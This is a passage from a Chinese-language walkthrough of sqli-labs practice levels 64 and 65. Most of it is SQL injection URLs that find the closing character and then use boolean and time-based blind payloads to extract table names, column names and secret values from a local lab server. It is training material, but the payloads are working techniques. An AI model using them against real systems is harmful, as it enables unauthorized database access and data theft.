...
http://192.168.1.104/sql/Less-64/?id=1))%20and%20if(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),10,1))%26256=256,sleep(2),1)--+
//查询到当前数据库中的表为(eclzaok8uv);
http://192.168.1.104/sql/Less-64/?id=1))%20and%20if(ascii(substr((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name='eclzaok8uv'%20limit%202,1),1,1))%261=1,sleep(2),1)--+
...
http://192.168.1.104/sql/Less-64/?id=1))%20and%20if(ascii(substr((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name='eclzaok8uv'%20limit%202,1),1,1))%261=1,sleep(2),1)--+
//查询到表(eclzaok8uv)中的第三个字段值为(secret_04FF);
http://192.168.1.104/sql/Less-64/?id=1))%20and%20if(ascii(substr((select%20group_concat(secret_04FF)%20from%20eclzaok8uv),1,1))%261=1,sleep(2),1)--+
...
http://192.168.1.104/sql/Less-64/?id=1))%20and%20if(ascii(substr((select%20group_concat(secret_04FF)%20from%20eclzaok8uv),1,1))%261=1,sleep(2),1)--+
//查询到表(eclzaok8uv)中的第三个字段值(secret_04FF)信息为(vpkA9EOoJS5C0FCnLnXauoS2),使用该信息提交至服务器,服务器返回页面正确,挑战成功;
至此,成功获取到flag信息并提交至服务器,服务器返回页面正确,挑战成功,SqliLab-64结束;
观察发现是GET型数据传送,参数为(id),尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始);
EG:
http://192.168.1.104/sql/Less-65/?id=1 and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用(')代替()进行构造;
http://192.168.1.104/sql/Less-65/?id=1' and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用(")代替(')进行构造;
http://192.168.1.104/sql/Less-65/?id=1" and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用())代替(")进行构造;
http://192.168.1.104/sql/Less-65/?id=1) and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用('')代替())进行构造;
http://192.168.1.104/sql/Less-65/?id=1'' and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用('")代替('')进行构造;
http://192.168.1.104/sql/Less-65/?id=1'" and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用('))代替('")进行构造;
http://192.168.1.104/sql/Less-65/?id=1') and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用("')代替('))进行构造;
http://192.168.1.104/sql/Less-65/?id=1"' and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用("")代替("')进行构造;
http://192.168.1.104/sql/Less-65/?id=1"" and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用("))代替("")进行构造;
http://192.168.1.104/sql/Less-65/?id=1") and 1=1 --+
//服务器返回页面正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-65/?id=1") and 1=2 --+
//服务器返回页面错误(预期错误),判断出参数(id)存在注入,闭合字符为("));
判断是否存在SQL语句报错提示
http://192.168.1.104/sql/Less-65/?id=1)'") --+
//服务器返回页面错误,没有发现SQL语句报错提示,再次尝试;
http://192.168.1.104/sql/Less-65/?id=1')") --+
//服务器返回页面错误,没有发现SQL语句报错提示,再次尝试;
...
//经过判断,不存在SQL语句报错提示;
判断是否存在时间盲注
EG:
http://192.168.1.104/sql/Less-65/?id=1") and if(1=1,sleep(5),1) --+
//服务器返回页面错误,有较长时间延迟,尝试使用(1=2)构造;
http://192.168.1.104/sql/Less-65/?id=1") and if(1=2,sleep(5),1) --+
//服务器返回页面正确,无较长时间延迟;
//经过判断,存在时间盲注;
经过测试,判断出参数(id)存在注入,闭合字符为(’),同时服务器返回页面不存在回显和SQL语句报错提示,考虑使用布尔/时间盲注获取数据库信息;
EG:
http://192.168.1.104/sql/Less-65/?id=1")%20and%20ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),1,1))%261=1%20--+
...
http://192.168.1.104/sql/Less-65/?id=1")%20and%20ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),10,1))%26256=256%20--+
//查询到当前数据库中的表为(ylyzgrsa08);
http://192.168.1.104/sql/Less-65/?id=1")%20and%20ascii(substr((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name='ylyzgrsa08'%20limit%202,1),1,1))%261=1%20--+
...
http://192.168.1.104/sql/Less-65/?id=1")%20and%20ascii(substr((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name='ylyzgrsa08'%20limit%202,1),11,1))%26256=256%20--+
//查询到表(ylyzgrsa08)中的第三个字段值为(secret_MDDC);
http://192.168.1.104/sql/Less-65/?id=1")%20and%20ascii(substr((select%20group_concat(secret_MDDC)%20from%20ylyzgrsa08),1,1))%261=1%20--+
...
http://192.168.1.104/sql/Less-65/?id=1")%20and%20ascii(substr((select%20group_concat(secret_MDDC)%20from%20ylyzgrsa08),1,1))%26256=256%20--+
//查询到表(ylyzgrsa08)中的第三个字段值(secret_MDDC)信息为(oEcpYgjGChmNisVWaJ7WlaLj),使用该信息提交至服务器,服务器返回页面正确,挑战成功;
EG:
http://192.168.1.104/sql/Less-65/?id=1")%20and%20if(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),1,1))%261=1,sleep(2),1)--+
...
http://192.168.1.104/sql/Less-65/?id=1")%20and%20if(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),10,1))%26256=256,sleep(2),1)--+
//查询到当前数据库中的表为(ylyzgrsa08);
http://192.168.1.104/sql/Less-65/?id=1")%20and%20if(ascii(substr((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name='ylyzgrsa08'%20limit%202,1),1,1))%261=1,sleep(2),1)--+
...
http://192.168.1.104/sql/Less-65/?id=1")%20and%20if(ascii(substr((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name='ylyzgrsa08'%20limit%202,1),1,1))%261=1,sleep(2),1)--+
//查询到表(ylyzgrsa08)中的第三个字段值为(secret_MDDC);
http://192.168.1.104/sql/Less-65/?id=1")%20and%20if(ascii(substr((select%20group_concat(secret_MDDC)%20from%20ylyzgrsa08),1,1))%261=1,sleep(2),1)--+
...
http://192.168.1.104/sql/Less-65/?id=1")%20and%20if(ascii(substr((select%20group_concat(secret_MDDC)%20from%20ylyzgrsa08),1,1))%261=1,sleep(2),1)--+
//查询到表(ylyzgrsa08)中的第三个字段值(secret_MDDC)信息为(oEcpYgjGChmNisVWaJ7WlaLj),使用该信息提交至服务器,服务器返回页面正确,挑战成功;
至此,成功获取到flag信息并提交至服务器,服务器返回页面正确,挑战成功,SqliLab-65结束(SqliLab-62~SqliLab-65都是使用脚本尝试的结果);
经过对CHALLENGE连续十二题的SQL注入,发现虽然有尝试次数的限制,但是也对整个SQL注入的流程(注入点的判断,采用合适方法的条件,注入payload的构造)更加的清楚了,对CHALLENGE中的题目的注入,包含了UNION联合查询,报错注入,布尔盲注,时间盲注这四种方法,前面两种是能相对快速的得到数据库信息,后面两种则是需要花费大量的时间去获取数据库信息(一般采取使用脚本去尝试),但是不管怎样,对于注入点的判断都是最为重要的(很多的类型都是相似的,只是注入点参数的闭合字符不同)。
[如有错误,请指出,拜托了<( _ _ )> !!!]